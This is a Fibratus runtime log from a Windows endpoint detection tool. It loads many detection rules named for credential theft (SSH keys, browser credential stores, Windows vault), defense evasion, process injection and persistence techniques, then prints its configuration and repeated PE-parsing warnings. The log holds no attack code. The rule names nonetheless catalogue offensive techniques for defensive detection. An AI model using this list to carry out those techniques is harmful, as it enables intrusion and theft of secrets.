level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_creation_from_stomped_module.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-10T18:11:49+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-10T18:11:49+01:00 level=info msg=bootstrapping with pid 18416. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-10T18:11:49+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] mail=>[ content-type=>text/html enabled=>false use-template=>true port=>25 to=>[]]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-pe=>false serialize-threads=>false serialize-handles=>false] + eventsource .................... [ enable-dns=>false flush-interval=>1s enable-net=>true enable-handle=>false enable-registry=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] max-buffers=>36 enable-vamap=>true min-buffers=>16 enable-threadpool=>false enable-fileio=>true enable-image=>true enable-thread=>true enable-audit-api=>true buffer-size=>512 stack-enrichment=>true enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true level=>info max-size=>100 formatter=>text max-backups=>15 max-age=>0] + output ......................... [ eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] http=>[ method=>POST timeout=>5s tls-insecure-skip-verify=>false endpoints=>[] serializer=>json enabled=>false enable-gzip=>false] elasticsearch=>[ trace-log=>false timeout=>5s gzip-compression=>false bulk-workers=>1 flush-period=>1s healthcheck-interval=>10s sniff=>false servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s enabled=>false index-name=>fibratus template-name=>fibratus healthcheck=>true] amqp=>[ durable=>false delivery-mode=>transient routing-key=>fibratus exchange-type=>topic passive=>false timeout=>5s tls-insecure-skip-verify=>false exchange=>fibratus vhost=>/ enabled=>false url=>amqp://localhost:5672]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] enabled=>false read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] skip-registry=>false skip-mmaps=>false scan-timeout=>10s skip-files=>false fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false enabled=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-10T18:11:49+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-10T18:11:51+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-10T18:11:52+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-10T18:11:53+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-10T18:11:53+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T13:09:04+01:00 level=info msg=configuration file C:\Program Files\fibratus\config\fibratus.yml not found. Continuing with default settings... source=bootstrap/config.go:50 +time=2025-11-11T13:09:04+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:152 +time=2025-11-11T13:09:04+01:00 level=info msg=bootstrapping with pid 16116. Version: dev source=bootstrap/bootstrap.go:182 +time=2025-11-11T13:09:04+01:00 level=info msg=rendering config flags... + aggregator ..................... [ flush-timeout=>4s flush-period=>200ms] + alertsenders ................... [ systray=>[ sound=>true enabled=>true quiet-mode=>false] mail=>[ enabled=>false use-template=>true port=>25 content-type=>text/html to=>[]] eventlog=>[ enabled=>true verbose=>false] slack=>[ enabled=>false]] + api ............................ [ timeout=>15s transport=>localhost:8080] + config-file .................... C:\Program Files\fibratus\config\fibratus.yml + debug-privilege ................ true + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\Macros\*]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\cmd\Rules\*]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + kevent ......................... [ serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-pe=>false serialize-images=>false] + kstream ........................ [ min-buffers=>16 flush-interval=>1s enable-vamap=>true enable-net=>true enable-dns=>true enable-image=>true max-buffers=>36 buffer-size=>512 stack-enrichment=>true enable-fileio=>true enable-registry=>true blacklist=>[ events=>[] images=>[]] enable-mem=>true enable-thread=>true enable-handle=>false enable-audit-api=>true] + logging ........................ [ max-age=>0 max-backups=>15 level=>info max-size=>100 formatter=>text log-stdout=>true] + output ......................... [ eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true format=>pretty] elasticsearch=>[ servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s flush-period=>1s healthcheck-timeout=>5s timeout=>5s index-name=>fibratus bulk-workers=>1 gzip-compression=>false enabled=>false trace-log=>false sniff=>false template-name=>fibratus healthcheck=>true] http=>[ timeout=>5s method=>POST tls-insecure-skip-verify=>false enable-gzip=>false enabled=>false endpoints=>[] serializer=>json] amqp=>[ tls-insecure-skip-verify=>false enabled=>false vhost=>/ exchange=>fibratus durable=>false url=>amqp://localhost:5672 passive=>false delivery-mode=>transient timeout=>5s routing-key=>fibratus exchange-type=>topic]] + pe ............................. [ excluded-images=>[] read-resources=>false read-sections=>false enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false kparams=>[]]] + yara ........................... [ skip-files=>true alert-via=>mail alert-template=>[] scan-timeout=>10s fastscan=>true excluded-files=>[] excluded-procs=>[] enabled=>false] source=bootstrap/bootstrap.go:183 +time=2025-11-11T13:09:14+01:00 level=info msg=configuration file C:\Program Files\fibratus\config\fibratus.yml not found. Continuing with default settings... source=bootstrap/config.go:50 +time=2025-11-11T13:09:14+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:152 +time=2025-11-11T13:09:14+01:00 level=info msg=bootstrapping with pid 3148. Version: dev source=bootstrap/bootstrap.go:182 +time=2025-11-11T13:09:14+01:00 level=info msg=rendering config flags... + aggregator ..................... [ flush-timeout=>4s flush-period=>200ms] + alertsenders ................... [ eventlog=>[ verbose=>false enabled=>true] systray=>[ sound=>true enabled=>true quiet-mode=>false] slack=>[ enabled=>false] mail=>[ port=>25 to=>[] use-template=>true enabled=>false content-type=>text/html]] + api ............................ [ transport=>localhost:8080 timeout=>15s] + config-file .................... C:\Program Files\fibratus\config\fibratus.yml + debug-privilege ................ true + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\cmd\Rules\*] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\Macros\*]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + kevent ......................... [ serialize-images=>false serialize-envs=>true serialize-handles=>false serialize-pe=>false serialize-threads=>false] + kstream ........................ [ flush-interval=>1s enable-mem=>true enable-handle=>false enable-dns=>true min-buffers=>16 buffer-size=>512 enable-registry=>true enable-audit-api=>true max-buffers=>36 blacklist=>[ events=>[] images=>[]] enable-image=>true stack-enrichment=>true enable-vamap=>true enable-thread=>true enable-fileio=>true enable-net=>true] + logging ........................ [ max-backups=>15 max-size=>100 max-age=>0 log-stdout=>true formatter=>text level=>info] + output ......................... [ console=>[ enabled=>true format=>pretty] elasticsearch=>[ timeout=>5s template-name=>fibratus servers=>[http://127.0.0.1:9200] gzip-compression=>false enabled=>false sniff=>false index-name=>fibratus trace-log=>false flush-period=>1s healthcheck-timeout=>5s healthcheck-interval=>10s healthcheck=>true bulk-workers=>1] amqp=>[ enabled=>false durable=>false delivery-mode=>transient vhost=>/ tls-insecure-skip-verify=>false exchange-type=>topic passive=>false routing-key=>fibratus timeout=>5s url=>amqp://localhost:5672 exchange=>fibratus] eventlog=>[ level=>info enabled=>false] http=>[ enable-gzip=>false serializer=>json tls-insecure-skip-verify=>false timeout=>5s method=>POST enabled=>false endpoints=>[]]] + pe ............................. [ excluded-images=>[] enabled=>false read-resources=>false read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ kparams=>[] enabled=>false]] + yara ........................... [ excluded-procs=>[] fastscan=>true alert-template=>[] excluded-files=>[] enabled=>false skip-files=>true scan-timeout=>10s alert-via=>mail] source=bootstrap/bootstrap.go:183 +time=2025-11-11T13:09:22+01:00 level=info msg=system providers support detected source=etw/source.go:165 +time=2025-11-11T13:09:24+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:224 +time=2025-11-11T13:09:24+01:00 level=info msg=starting [System Registry Logger] trace processing source=etw/source.go:224 +time=2025-11-11T13:09:24+01:00 level=info msg=starting [DNS Client Logger] trace processing source=etw/source.go:224 +time=2025-11-11T13:09:24+01:00 level=info msg=starting [Kernel Audit API Calls Logger] trace processing source=etw/source.go:224 +time=2025-11-11T13:10:32+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:10:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 